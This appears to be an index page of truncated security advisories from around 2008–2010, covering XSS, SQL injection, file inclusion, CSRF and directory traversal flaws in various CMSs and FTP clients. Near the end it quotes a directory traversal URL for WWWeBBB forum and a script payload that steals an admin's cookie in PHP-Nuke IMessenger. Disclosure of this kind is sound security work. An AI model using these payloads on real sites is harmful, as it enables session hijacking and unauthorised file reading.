SweetRice 0.6.7 - Multiple Vulnerabilities

Vulnerability ID: HTB22669 Reference: http://www.htbridge.ch/advisory/resetadminpasswordinsweetricecms.html Product: SweetRice CMS Vendor: basic-cms.org http://www.basic-cms.org/ Vulnerable Version: 0.6.7 Vendor Notification: 21 October 2010 Vulnerability Type: Logic error Status: Not Fixed, Vend...

XSS vulnerability in Zomplog

Vulnerability ID: HTB22644 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityinzomplog2.html Product: Zomplog Vendor: Gerben Schmidt http://www.zomp.nl/zomplog/ Vulnerable Version: 3.9 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: XSS Cross Site...

Novaboard 1.1.4 - Local File Inclusion

Novaboard 1.1.4 - Local File Inclusion Vulnerability ID: HTB22657 Reference: http://www.htbridge.ch/advisory/lfiinnovaboard.html Product: Novaboard Vendor: Novaboard http://www.novaboard.net/ Vulnerable Version: 1.1.4 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability...

Energine CMS - SQL Injection

Vulnerability ID: HTB22655 Reference: http://www.htbridge.ch/advisory/sqlinjectioninenergine.html Product: Energine Vendor: Energine http://energine.org/ Vulnerable Version: Vendor Notification: 13 October 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendor Alerted, Awaiting Vendor...

XSRF (CSRF) in Lara

Vulnerability ID: HTB22619 Reference: http://www.htbridge.ch/advisory/xsrfcsrfinlara.html Product: Lara Vendor: Geographical Media http://getlara.com/ Vulnerable Version: Current at 18.09.2010 and Probably Prior Versions Vendor Notification: 27 September 2010 Vulnerability Type: CSRF Cross-Site...

Directory Traversal Vulnerability in FTP Voyager

Vulnerability ID: HTB22625 Reference: http://www.htbridge.ch/advisory/directorytraversalvulnerabilityinftpvoyager.html Product: FTP Voyager Vendor: Rhino Software http://www.ftpvoyager.com/ Vulnerable Version: 15.2.0.11 and Probably Prior Versions Vendor Notification: 22 September 2010...

XSS vulnerability in Pluck

Vulnerability ID: HTB22610 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityinpluck.html Product: Pluck Vendor: Pluck Team http://www.pluck-cms.org Vulnerable Version: 4.6.3 and probably prior versions Vendor Notification: 15 September 2010 Vulnerability Type: XSS Cross Site Scripting...

XSS vulnerability in ATutor

Vulnerability ID: HTB22600 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityinatutor1.html Product: ATutor Vendor: Inclusive Design Institute http://www.atutor.ca/ Vulnerable Version: 1.0 Vendor Notification: 01 September 2010 Vulnerability Type: XSS Cross Site Scripting Status: Not...

TCMS 100728 Cross Site Scripting / Local File Inclusion / SQL Injection

===================================== Vulnerability ID: HTB22571 Reference: http://www.htbridge.ch/advisory/sqlinjectionvulnerabilityintcms.html Product: TCMS Vendor: Target CMS http://targetcms.com/ Vulnerable Version: 100728 and Probably Prior Versions Vendor Notification: 09 August 2010...

Directory Traversal in FTPGetter

Vulnerability ID: HTB22567 Reference: http://www.htbridge.ch/advisory/directorytraversalinftpgetter.html Product: FTPGetter Vendor: FTPGetter Team http://www.ftpgetter.com/ Vulnerable Version: 3.51.0.05 and Probably Prior Versions Vendor Notification: 05 August 2010 Vulnerability Type: File Conte...

XSS vulnerability in CMSimple

Vulnerability ID: HTB22558 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityincmsimple.html Product: CMSimple Vendor: Peter Andreas Harteg http://www.cmsimple.org/ Vulnerable Version: 3.3 and Probably Prior Versions Vendor Notification: 02 August 2010 Vulnerability Type: XSS Cross Site...

SoftX FTP Client 3.3 Directory Traversal

Vulnerability ID: HTB22541 Reference: http://www.htbridge.ch/advisory/directorytraversalinsoftxftpclient.html Product: SoftX FTP Client Vendor: SoftX.Org http://www.softx.org/ftp.html Vulnerable Version: 3.3 for windows and Probably Prior Versions Vendor Notification: 27 July 2010 Vulnerability...

Ecomat CMS Remote SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================= Ecomat CMS Remote SQL Injection Vulnerability ============================================= Product: Ecomat CMS Vendor: Codefabrik GmbH Vulnerable Version: 5.0 and Probably Prior Versions Vendor...

Ecomat CMS - SQL Injection

Vulnerability ID: HTB22390 Reference: http://www.htbridge.ch/advisory/sqlinjectionvulnerabilityinecomatcms.html Product: Ecomat CMS Vendor: Codefabrik GmbH Vulnerable Version: 5.0 and Probably Prior Versions Vendor Notification: 18 May 2010 Vulnerability Type: SQL Injection Status: Not Fixed,...

SQL injection vulnerability in 360 Web Manager

Vulnerability ID: HTB22378 Reference: http://www.htbridge.ch/advisory/sqlinjectionvulnerabilityin360webmanager.html Product: 360 Web Manager Vendor: 360 Web Manager Vulnerable Version: 3.0 Vendor Notification: 10 May 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendor Alerted, Awaiti...

XSS vulnerability in LiSK CMS

Vulnerability ID: HTB22372 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityinproduct.html Product: LiSK CMS Vendor: Createch-group Vulnerable Version: 4.4 Vendor Notification: 05 May 2010 Vulnerability Type: XSS Cross Site Scripting Status: Not Fixed, Vendor Alerted, Awaiting Vendor...

Unfixed XSS vulnerability at www.kiekuohjelma.fi

Security researcher Harry Sintonen, has submitted on 14/06/2008 a cross-site-scripting XSS vulnerability affecting www.kiekuohjelma.fi, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 15/06/2008. It is...

Security Hole in WWWeBBB forum

All versions. Last one is 3.82beta. http://www.host.com/wwwebbbforumdirectory/page.cgi?../../file/to/view WWWeBBB creator has been alerted. More details in french : http://www.bal-team.t2u.com/Tuts/WWWeBBB.txt frog-m@n Discutez en ligne avec vos amis, essayez MSN Messenger : http://messenger.msn....

Security hole in IMessenger ( PHP-Nuke )

There is a big hole in imessenger im.php. He accept javascript... if I send scriptwindow.location.href='http://www. SERVER.com/im.php?usernameto= MYNICK &subject='+ document.cookie +'&message=message&action=send' ;/script without '' to the admin, he send his cookie. PHPNuke has been alerted...